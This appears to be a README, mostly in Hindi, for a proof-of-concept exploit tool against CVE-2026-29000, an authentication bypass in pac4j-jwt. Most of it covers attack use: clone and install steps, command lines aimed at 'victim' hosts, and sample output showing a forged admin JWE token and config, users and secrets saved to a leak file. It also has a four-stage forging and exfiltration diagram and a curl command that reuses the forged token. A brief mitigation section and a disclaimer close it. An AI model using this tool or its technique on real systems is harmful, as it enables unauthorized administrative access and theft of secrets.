
CVE-2026-29000 – pac4j-jwt प्रमाणीकरण बायपास (🔥 CVSS 10.0). सार्वजनिक कुंजी JWE रैपिंग के माध्यम से एक-क्लिक व्यवस्थापक फोर्ज। कॉन्फ़िग, उपयोगकर्ता, गुप्त सूचनाएं लीक करता है। Keep-alive, प्रॉक्सी, कस्टम JWKS।⚙️ शैक्षणिक PoC एक्सप्लॉइट टूल।
CVE-2026-29000 - एक-क्लिक एडमिन फोर्ज JWT alg:none + JWE एन्क्रिप्शन के माध्यम से
यह शोषण CVE-2026-29000 को हथियार बनाता है, जो pac4j-jwt लाइब्रेरी में एक गंभीर CVSS 10.0 भेद्यता है। सर्वर की सार्वजनिक JWKS कुंजी निकालकर और alg: none के साथ एक नकली JWE टोकन बनाकर, यह पूर्ण प्रमाणीकरण बायपास प्राप्त करता है और एक क्लिक में पूर्ण प्रशासनिक विशेषाधिकार प्रदान करता है।
alg:none JWT बनाता है, सर्वर की अपनी सार्वजनिक कुंजी में लपेटता है| लाइब्रेरी | प्रभावित संस्करण | पैच किए गए संस्करण |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
⚠️ अस्वीकरण: यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और रेड-टीम कार्यों के लिए है।
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requirements.txt:
text
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
🚀 उपयोग
बेसिक वन-शॉट शोषण
bash
python exploit.py --target https://victim.com:8443
नकली टोकन + लीक डेटा सहेजें
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
वर्बोज़ मोड कस्टम JWKS के साथ
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
प्रॉक्सी के साथ और कोई कीप-अलाइव नहीं
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
कस्टम कीप-अलाइव अंतराल
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL सत्यापन सक्षम
bash
python exploit.py -t https://legit.com:8443 --ssl-verify
⚙️ कमांड लाइन तर्क
तर्क लघु आवश्यक डिफ़ॉल्ट विवरण
--target -t हाँ - लक्ष्य URL (जैसे https://example.com:8443)
--jwks -k नहीं स्वतः-पता लगाएं कस्टम JWKS एंडपॉइंट पथ
--output -o नहीं कोई नहीं नकली JWE टोकन को फ़ाइल में सहेजें
--leak -l नहीं leaked_TIMESTAMP.txt लीक डेटा को फ़ाइल में सहेजें
--verbose -v नहीं गलत डीबग आउटपुट सक्षम करें
--proxy -p नहीं कोई नहीं HTTP/HTTPS प्रॉक्सी
--user-agent -ua नहीं Mozilla/5.0... कस्टम User-Agent
--no-keep-alive - नहीं गलत सत्र कीप-अलाइव अक्षम करें
--delay - नहीं 5.0 कीप-अलाइव पिंग अंतराल (सेकंड)
--max-retries - नहीं 3 प्रति असफल अनुरोध अधिकतम पुनर्प्रयास
--ssl-verify - नहीं गलत SSL प्रमाणपत्र सत्यापित करें
📸 उदाहरण आउटपुट
text
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
╔══════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit ║
║ The Educational One‑Click Admin Forge ║
║ CVSS 10.0 - CRITICAL ║
╚══════════════════════════════════════════════════════════════════════════════╝
[11:23:15] STAGE 1: Acquiring RSA public key from JWKS
[11:23:15] Probing for JWKS endpoint...
[11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs
[11:23:16] Successfully extracted RSA public key
[11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE
[11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token saved to backdoor.jwe
[11:23:16] STAGE 3: Sending forged JWE as Bearer token
[11:23:17] ✓ Authentication successful! Access granted to /api/users/me
[11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data
[11:23:18] ✓ Leaked: /actuator/env (status 200)
[11:23:18] ✓ Leaked: /api/users (status 200)
[11:23:18] ✓ Leaked: /api/secrets (status 200)
[11:23:18] ✓ Leaked: /config/server (status 200)
[11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt
[11:23:18] Keep‑alive session active (Ctrl+C to stop)
[11:23:18] Token (JWE) valid for ~1 hour – reforge if expired
🧠 यह कैसे काम करता है
text
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 1: Public Key Acquisition │
│ ├── Discover JWKS endpoint (15+ known paths) │
│ ├── Fetch JWK containing RSA public key │
│ └── Convert JWK → PEM format │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 2: Token Forging │
│ ├── Create JWT with alg: "none" │
│ ├── Inject admin claims (ROLE_ADMIN, admin: true) │
│ └── Encrypt JWT into JWE using server's public key │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 3: Authentication Bypass │
│ ├── Send JWE as Bearer token │
│ ├── Test 8+ protected endpoints │
│ └── Extract session cookie │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 4: Information Exfiltration │
│ ├── Enumerate 20+ sensitive API paths │
│ ├── Collect configs, users, secrets, environment │
│ └── Save all to leak file │
├─────────────────────────────────────────────────────────────────┤
│ Keep-Alive: Ping /api/ping every N seconds │
└─────────────────────────────────────────────────────────────────┘
🔧 मैन्युअल टोकन उपयोग
शोषण के बाद, सहेजे गए JWE टोकन को curl के साथ उपयोग करें:
bash
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users
🛡️ पहचान और शमन
पहचान विधि संकेतक
लॉग विश्लेषण ऑडिट लॉग में alg: none के साथ JWT
नेटवर्क निगरानी अज्ञात IP से JWKS एंडपॉइंट अनुरोध
संस्करण जांच curl /actuator/info | grep pac4j
शमन:
pac4j-jwt को पैच किए गए संस्करण (≥5.1.5, ≥4.5.8, ≥3.18.6) में अपडेट करें
JWT वैलिडेटर में alg: none समर्थन अक्षम करें
सख्त JWE सत्यापन लागू करें
विसंगतिपूर्ण JWT संरचनाओं की निगरानी करें